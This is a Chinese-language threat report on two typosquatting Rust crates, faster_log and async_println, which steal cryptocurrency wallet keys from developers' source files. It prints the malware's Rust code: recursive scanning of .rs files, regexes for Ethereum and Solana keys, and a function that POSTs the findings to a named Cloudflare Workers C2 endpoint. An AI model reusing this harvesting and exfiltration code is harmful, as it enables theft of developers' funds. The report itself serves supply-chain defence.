摘要

本報告針對兩個 Malicious Rust crates, faster_log async_println ,進行詳細的技術分析,這兩個 crates 被識別為冒充合法的紀錄程式庫來竊取敏感的加密貨幣錢包金鑰。本分析深入探討這些 crates 的運作機制,著重於它們的程式碼結構、金鑰竊取模式、與 Command and Control (C2) 伺服器的通訊,以及對 Rust 生態系中供應鏈安全的更廣泛影響。我們檢視了用於識別以太坊 private keys、Solana addresses 和通用 byte arrays 的特定正規表達式,以及資料封裝和傳輸協定。報告也包含了架構圖,用以說明攻擊流程,以及程式碼片段,以深入了解 Malicious 實作。

別下載! Typosquatting 攻擊範例:Malicious Rust Crates 盜取開發者 Wallet Key 技術報告 | 資訊安全新聞

1. 簡介

軟體供應鏈的完整性是現代軟體開發中的關鍵考量。Malicious 軟體包,通常偽裝成合法或受歡迎的程式庫,透過將弱點或後門引入應用程式中,構成了重大威脅。本報告調查了最近涉及兩個 Rust crates, faster_log async_println 的事件,它們被發現是惡意的的。這些 crates 模仿了廣泛使用的 fast_log 程式庫的行為,但秘密地納入了以從開發人員系統中竊取加密貨幣錢包金鑰為目的的功能 [1]。此發現突顯了 threat actors 用來侵害開發環境的複雜策略,以及在軟體包註冊表中進行強大安全掃描的重要性。

2. Malicious Crates 的運作機制

Malicious crates 的核心功能圍繞著掃描本機 檔案 系統以尋找指示加密貨幣錢包金鑰 的特定模式,然後將這些發現竊取(exfiltrating)到遠端的 Command and Control (C2) 伺服器。這個 程序 可以分解為幾個關鍵階段: 檔案 系統遍歷、模式匹配、資料封裝和竊取(exfiltration)。

2.1 檔案 系統遍歷與目標識別

Malicious crates 旨在遞迴遍歷目錄,特別鎖定 .rs (Rust 原始程式碼) 檔案 。這種廣泛的蒐集機制確保任何整合了 Malicious crate 的 Rust 專案 root 都成為敏感資料的潛在來源。在提供的程式碼中觀察到的 pack_directory 函式負責此遞迴掃描:

  1. pub async fn pack_directory<p: asref<path="">&gt;(&amp;self, dir_path: P) -&gt; Result&lt;(), Box<dyn std::error::error="">&gt; {
  2.     let path = dir_path.as_ref();
  3.     // [Analysis] Recurses into directories and processes every .rs file.
  4.     //            Enables broad harvesting when called with a project root.
  5.     if path.is_file() &amp;&amp; path.extension().map_or(false, |ext| ext == "rs") {
  6.         self.pack_file(path).await?;
  7.         return Ok(());
  8.     }
  9.     if path.is_dir() {
  10.         for entry in fs::read_dir(path)? {
  11.             let entry = entry?;
  12.             let entry_path = entry.path();
  13.             if entry_path.is_dir() {
  14.                 self.pack_directory(entry_path).await?;
  15.             } else if entry_path.extension().map_or(false, |ext| ext == "rs") {
  16.                 self.pack_file(entry_path).await?;
  17.             }
  18.         }
  19.     }
  20.     Ok(())
  21. }

此函式首先檢查給定的 path 是否為 檔案 並具有 .rs 副檔名。如果是,它會使用 pack_file 處理該 檔案 。如果 path 是目錄,它會遞迴呼叫 pack_directory 以處理子目錄,並直接處理 .rs 檔案 。這確保了對整個專案程式庫進行徹底掃描。

2.2 針對 金鑰竊取的模式匹配

一旦識別出 Rust 原始 檔案 ,就會逐行讀取其內容,並應用正規表達式來偵測與加密貨幣錢包金鑰 相關的特定模式。這些 crates 鎖定三種主要類型的敏感資訊 [1]:

  • Ethereum Private Keys: 0x 前綴後接 64 個十六進位 字元 識別。
  • Base58 Tokens: 與 Solana addresses 或 keys 一致,通常範圍從 32 到 44 字元
  • Bracketed Byte Arrays: 這些可以代表原始 key byte s 或嵌入的種子。

下面的程式碼片段說明了用於偵測的 regex 模式:

  1. // [Threat Actor] Search for byte arrays
  2. // [Analysis] Grabs bracketed arrays like [1,2,...] or [0x12, 0xAB, ...].
  3. //            This can represent raw key bytes or embedded seeds.
  4. let byte_array_regex = Regex::new(r"""(?:\s*0x[0-9a-fA-F]{1,2}\s*,?)+\s*\]|(?::\s*\w+\s*\{)?\s*\w+\s*:\s*\[(?:\s*0x[0-9a-fA-F]{1,2}\s*,?)+\s*\]""")?;
  5. // [Threat Actor] Search for base58 strings (typical Solana addresses/keys)
  6. // [Analysis] Targets quoted Base58 tokens 32 - 44 characters.
  7. //            Aligns with Solana public keysor addresses.
  8. let base58_regex = Regex::new(r"""[1-9A-HJ-NP-Za-km-z]{32,44}""")?;
  9. // [Threat Actor] Search for hex strings that might be keys/addresses
  10. // [Analysis] Extracts quoted 0x + 64 hex, a common Ethereum private keys.
  11. let hex_regex = Regex::new(r"""0x[0-9a-fA-F]{64}""")?;

每個 regex 都設計用於捕捉特定格式,確保高機率識別合法的錢包金鑰,同時最大限度地減少誤報。 is_valid_base58 函式進一步針對預定義字母表驗證 Base58 字串,增加額外的驗證層:

  1. fn is_valid_base58(&amp;self, s: &amp;str) -&gt; bool {
  2.     const BASE58_ALPHABET: &amp;[u8] = b"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
  3.     s.chars().all(|c| BASE58_ALPHABET.contains(&amp;(c as u8)))
  4. }

這個驗證步驟確保只有有效的 Base58 編碼字串被考慮用於竊取(exfiltration),從而提高被竊取 資料 的品質。

2.3 資料 包裝與竊取(Exfiltration)

成功識別敏感模式後,Malicious crate 會將提取的資訊包裝到一個 FoundItem 結構中。這個結構包含了項目型態(例如,"byte_array", "base58_string", "hex_string")、實際的數值、找到它的 檔案路徑 以及行號 [1]。這種詳細的包裝有助於 threat actor 對被竊取的 keys 進行分類和後續追蹤。

  1. #[derive(Debug, Serialize, Deserialize)]
  2. pub struct FoundItem {
  3.     pub item_type: String,
  4.     pub value: String,
  5.     pub file_path: String,
  6.     pub line_number: usize,
  7. }
  8. pub struct PackResult {
  9.     pub items: Vec<founditem>,
  10. }

多個匹配的項目會被批量處理成一個 PackResult 結構,然後序列化為 JSON 內容(body),並通過 HTTP POST request 發送到一個 hardcoded Command and Control (C2) 端點。分析中識別出的 C2 端點是 https://mainnet[.]solana-rpc-pool[.]workers[.]dev ,託管在 Cloudflare Workers 上 [1]。至關重要的是要注意,這不是官方的 Solana RPC 端點,這表明了其 Malicious 性質。竊取(Exfiltration) 程序 由 send_results 異步函式處理:

  1. async fn send_results(&amp;self, items: Vec<founditem>) -&gt; Result&lt;(), Box<dyn std::error::error="">&gt; {
  2.     let result = PackResult { items };
  3.     // [Analysis] Sends JSON body with all matches to the C2.
  4.     let response = self.client
  5.         .post(HARDCODED_ENDPOINT)
  6.         .json(&amp;result)
  7.         .send()
  8.         .await?;
  9.     // [Analysis] Minimal status check; content of the response is ignored.
  10.     if response.status().is_success() {
  11.         println!("Successfully sent {} items to endpoint", result.items.len());
  12.     } else {
  13.         eprintln!("Failed to send results: {}", response.status());
  14.     }
  15.     Ok(())
  16. }

程式碼明確使用了 reqwest 客戶端來發送 POST request ,除了 HTTPS 之外,對於被竊取的 資料 沒有身份驗證、同意或加密。 threat actor 的註釋「Hardcoded endpoint as requested」(根據要求 hardcoded 的端點)[1] 表明 threat actors 之間存在協同行為,其中一個行為者根據另一個行為者的規範實現代碼。這也試圖進行一種看似合理的否認,將 C2 的選擇歸咎於外在要求而非自身需求。

3. Command and Control (C2) 基礎設施

C2 基礎設施在竊取(exfiltration) 程序 中起著關鍵作用。兩個 Malicious crates, faster_log async_println ,都被觀察到與相同的 C2 端點通訊: https://mainnet[.]solana-rpc-pool[.]workers[.]dev [1]。這個端點託管在 Cloudflare Workers 上,這是一個無伺服器平台,允許開發人員部署在 Cloudflare 全球網路執行的程式碼。使用 Cloudflare Workers 為 threat actors 提供了幾項優勢,包括:

  • 匿名性: Cloudflare 充當代理,隱藏了 C2 伺服器的真實來源。
  • 可擴展性與可靠性: Cloudflare 強大的基礎設施確保 C2 保持運作,並且可以處理大量被竊取的 資料
  • 規避: 該網域結構( workers.dev )對於不夠仔細的眼睛來說可能顯得合法,因為 Cloudflare 將這些子網域分配給個別帳戶。

重要的是要將這個 Malicious 端點與合法的 Solana mainnet beta RPC 區分開來,後者是 https://api.mainnet-beta.solana.com 。Malicious 端點的名稱顯然是故意拼寫錯誤(typosquatting)和冒充,以誤導開發人員和安全工具。

4. 攻擊流程與架構

為了更好地了解這些 Malicious crates 的運作流程,可以使用 Mermaid 建構一個高層次的架構圖。此圖說明了在典型的竊取(exfiltration)事件期間,開發人員的系統、Malicious crate 和 C2 伺服器之間的互動。

graph TD A["Developer's System"] --> B{Integrates Malicious Crate} B --> C[Malicious_Crate_faster_log_async_println] C --> D{"Scans .rs Files"} D --> E{Identifies Wallet Keys_Regex Matching} E --> F[Packages FoundItem into PackResult] F --> G[Sends JSON POST Request] G --> H[Hardcoded C2 Endpoint_Cloudflare Workers] H --> I["Threat Actor's Server"] subgraph Malicious Crate Internal Process D E F end subgraph Exfiltration Channel G H end style A fill:#f9f,stroke:#333,stroke-width:2px style C fill:#f9f,stroke:#333,stroke-width:2px style H fill:#f9f,stroke:#333,stroke-width:2px style I fill:#f9f,stroke:#333,stroke-width:2px

圖 1: 攻擊流程圖,顯示了 Malicious Rust crates 的操作順序

上圖以視覺方式呈現事件序列,從將 Malicious crate 整合到開發人員的專案中開始,通過掃描和識別敏感 資料 ,到最終竊取(exfiltration)到 C2 伺服器。突出顯示的節點表示攻擊鏈中的關鍵組件。

5. 影響與緩解措施

這類 Malicious crates 對軟體供應鏈和個別開發人員的影響可能非常嚴重。被侵害的錢包金鑰可能導致重大的財務損失、對開源生態系統的信任受到侵蝕,以及潛在的法律後果。使用故意拼寫錯誤(typosquatting)和冒充策略,使得開發人員難以偵測,他們可能無意中將這些 crates 包含在他們的專案中。 payload 在應用程式或測試運行時執行,而不是在建置期間執行,這一事實進一步使主要關注建置時依賴關係的傳統靜態分析工具的檢測變得複雜 [1]。

涉及多方面的方法的緩解策略:

  • 增強供應鏈安全: 開發人員應使用工具和實踐,在其依賴關係中掃描已知的弱點和 Malicious 軟體包。像 Socket AI Scanner 這樣的解決方案,識別了這個 threat ,對於即時 threat 偵測至關重要。
  • 依賴關係審核: 定期審核專案依賴關係,密切關注新添加或不太受歡迎的 crates,特別是那些模仿知名程式庫的 crates。
  • 程式碼審查: 進行徹底的程式碼審查,特別是針對處理敏感操作或網路通訊的依賴關係。
  • 網路監控: 實施網路監控,以偵測來自開發環境的不尋常向外連線,特別是連線到可疑網域。
  • 最小權限原則: 確保開發環境和建構系統以所需的最小權限運行,以限制在發生侵害時的損害範圍。
  • 錢包安全最佳實踐: 安全地儲存 private keys 和 Seed phrases,最好是在硬體錢包或加密保險庫中,並避免將它們直接嵌入原始程式碼或易於 存取 檔案 中。

6. 結論

涉及 faster_log async_println 的事件嚴厲地提醒了開源軟體供應鏈中持續存在的 威脅 threat actors 不斷演變他們的方法,利用故意拼寫錯誤(typosquatting)和複雜的程式碼注入等技術來實現他們的 Malicious 目標。主動和分層的安全方法,結合自動化掃描、勤奮的程式碼審查以及遵守安全最佳實踐,對於防範此類攻擊至關重要。開發人員社群內部的持續警惕和協作對於維護共享程式碼資源的完整性和可信度至關重要。